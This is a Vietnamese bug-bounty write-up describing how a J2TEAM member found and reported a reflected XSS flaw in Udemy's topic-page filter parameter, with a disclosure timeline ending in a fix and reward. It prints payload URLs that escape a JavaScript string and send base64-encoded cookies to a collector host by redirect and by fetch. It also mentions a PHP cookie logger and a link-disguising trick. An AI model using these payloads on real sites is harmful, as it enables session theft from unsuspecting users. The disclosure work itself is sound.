J2TEAM Security: A must-have extension for Chrome users. Install now!

J2TEAM phát hiện ra lỗ hổng bảo mật trên Udemy như nào?

Xin chào, tớ là JUNO_OKYO đây! Bài viết này sẽ kể về quá trình J2TEAM phát hiện lỗ hổng bảo mật XSS và báo cáo cho Udemy nhé!
udemy-xss-bug-bounty

Xin chào, tớ là JUNO_OKYO đây! Bài viết này sẽ kể về quá trình J2TEAM phát hiện lỗ hổng bảo mật và báo cáo cho Udemy nhé!

Trước tiên, với ai chưa biết thì Udemy.com là nền tảng học tập trực tuyến lớn nhất thế giới. Theo SimilarWeb thì Udemy đang nằm trong Top 300 trang web lớn nhất toàn cầu và đứng #1 trong các trang về giáo dục.

Khoảng 3 tuần trước, vào một ngày đẹp trời, anh Killer nhắn cho tớ trên Telegram rằng phát hiện ra Udemy dính lỗi và cần tớ hỗ trợ báo cáo lỗ hổng này.

Lỗ hổng bảo mật trên Udemy được phát hiện ra như nào?

Khi truy cập vào một trang chủ đề (topic), và kích hoạt bất cứ bộ lọc nào trong trang, URL của trang lập tức được nối thêm một chuỗi truy vấn (query string) như hình dưới:

udemy-filter

Anh Killer liền kiểm tra lỗi bằng cách thử thay đổi giá trị trực tiếp từ URL, ví dụ sửa URL trong hình thành: https://www.udemy.com/topic/javascript/?course_label=J2TEAM

Xem mã nguồn và Ctrl+F tìm theo chuỗi “J2TEAM” để xác định các vị trí chuỗi được in lại trong mã nguồn:

udemy-filter-view-source

Hmm… có gì đó không ổn lắm, kí tự “&” phía sau chuỗi J2TEAM phía trên đã được mã hóa thành “&amp”, nhưng ký tự ở ngay sau đó vài dòng thì không hề bị mã hóa.

Giờ thử chèn payload kiểm thử XSS cơ bản vào xem.

udemy-xss-bug

Tada!!

Xây dựng kịch bản khai thác lỗ hổng XSS

Sau khi anh Killer chuyển cho tớ xử lý tiếp, tớ đã thử sử dụng các thẻ HTML nhưng ký tự “<” và “>” đều đã bị mã hóa. Như vậy tớ cần cố gắng khai thác vị trí mà lỗ hổng xuất hiện, cụ thể ở đây là một dòng code khai báo biến “prefetchUrl”.

Thử đóng dấu nháy kết hợp với chấm phẩy xem (‘;). Bằng cách này, mã nguồn sẽ được render ra thành:

var prefetchUrl = ‘xxx’;<payload>

Nhưng vẫn không thành công vì dấu chấm phẩy bị lọc mất khỏi mã nguồn. Vậy là không thể thoát khỏi chuỗi khai báo biến, nên tớ sẽ chèn payload bằng cách nối chuỗi. Thử chuyển hướng xem:

https://www.udemy.com/topic/javascript/?course_label=%27+location=%27http://example.com%27+%27

Trang không chuyển hướng, nguyên nhân là do lỗi cú pháp khi nối chuỗi. Sửa lại chút nào:

https://www.udemy.com/topic/javascript/?course_label=%27+(location=%27http://example.com%27)+%27

Bằng cách sử dụng dấu ngoặc đơn, đoạn code trong ngoặc sẽ được thực thi trước khi nối chuỗi. Trang đã chuyển hướng như mong đợi. Sử dụng tiếp document.cookie kết hợp với base64 và nối chuỗi, ta được:

https://www.udemy.com/topic/javascript/?course_label=%27+(location=%27http://localhost/udemy/?c=%27+btoa(document.cookie))+%27

Trang lập tức chuyển hướng sang địa chỉ: http://localhost/udemy/?c=XXX

Trong đó, XXX là cookie đã được mã hóa base64. Tớ code lẹ một file PHP để giải mã base64 và lưu lại cookie:

udemy-xss-log-cookie

Mọi thứ đều OK, file PHP tạo được file logs.txt và ghi cookie vào. Giờ chúng ta tiếp tục tối ưu payload tấn công nhé. Việc chuyển hướng sẽ khiến nạn nhân cảm thấy nghi ngờ. Vì thế, tớ thử thay thành đoạn mã sau:

new Image().src = “<URL>”

Nhưng khi chạy thử thì phát hiện ra Udemy còn mã hóa cả khoảng trắng, khiến đoạn code trên bị lỗi khi khởi tạo object Image.

Tớ liền bypass bằng cách sử dụng Fetch API. URL hoàn chỉnh:

https://www.udemy.com/topic/javascript/?course_label=%27+(fetch(%27http://localhost/udemy/?c=%27+btoa(document.cookie)))+%27

Kết hợp với một thủ thuật HTML nhỏ:

udemy-xss-payload

Kẻ tấn công có thể dễ dàng dụ nạn nhân nhấn vào liên kết trông có vẻ rất bình thường...

udemy-xss-html-trick

PoC Video

Timeline

  • 04/08/2019: Tớ gửi báo cáo lỗ hổng tới Udemy thông qua HackerOne.
  • 09/08/2019: Udemy phản hồi rằng họ không thấy bất cứ điều gì lạ hoặc đoạn mã nào được thực thi khi nhấn vào liên kết chứa payload được báo cáo.
  • 09/08/2019: Tớ trả lời rằng các đoạn mã khai thác đã được chạy thử trên phiên bản mới nhất của cả Chrome và Firefox. Đồng thời đính kèm ảnh cho chứng minh đoạn mã khai thác có được thực thi.
  • 10/08/2019: Udemy phản hồi rằng họ vẫn không thấy đoạn mã nào được thực thi hay có hộp thoại nào xuất hiện. Họ hỏi “có cần bước bổ sung cần thiết nào để đoạn mã được thực thi không?”
  • 10/08/2019: Tớ trả lời rằng không cần bước bổ sung nào hết. Và đính kèm thêm một video PoC thứ hai. Hỏi Udemy xem họ đang xem liên kết trong báo bằng trình duyệt gì và phiên bản nào.
  • 10/08/2019: Udemy phản hồi rằng họ thử trên một phiên bản cũ của Chrome và phiên bản mới nhất của Firefox. Nhưng cả hai trường hợp đều không thấy hộp thoại nào xuất hiện. Udemy đồng thời đóng báo cáo và chuyển trạng thái báo cáo thành “Informative”.
  • 10/08/2019: Tới lúc này tớ đã bắt đầu có đôi chút khó chịu sau những 3 lần bị từ chối đây là lỗ hổng bảo mật chỉ vì họ không thấy liên kết trong báo cáo tạo ra một hộp thoại nào hay có đoạn mã nào được thực thi. Trong khi các thành viên J2TEAM đều thấy mọi thứ bình thường?! Tớ trả lời lại bằng câu hỏi: Liệu các bạn có đang sử dụng một extension bảo mật nào có thể chặn lỗ hổng XSS (ví dụ như Netcraft) hay không? Liệu một ai khác trong team Udemy có thể kiểm tra lại và xác nhận trường hợp này không? Tớ cũng đính kèm thêm một ảnh cho thấy hộp thoại đang hiển thị trên phiên bản mới nhất của Firefox.
  • 15/08/2019: Sau 5 ngày im lặng, tớ đã nghĩ rằng "thôi, chắc bị bơ rồi" thì họ phản hồi và cho biết đã tái tạo được vấn đề (tức là đã thấy đoạn mã chèn vào được thực thi) và cảm ơn vì tớ đã kiên nhẫn. 2 tiếng sau, Udemy team thay đổi mức độ nghiêm trọng của báo cáo thành Medium (6.3), mở lại báo cáo và thay đổi trạng thái thành Triaged đồng thời trao tiền thưởng là $150.
  • 17/08/2019: Udemy đóng báo cáo và đổi trạng thái thành Resolved. Tớ vào kiểm tra thì cũng thấy lỗ hổng đã được khắc phục.
udemy-bug-bounty-hackerone

Leader at J2TEAM. Website: https://j2team.dev/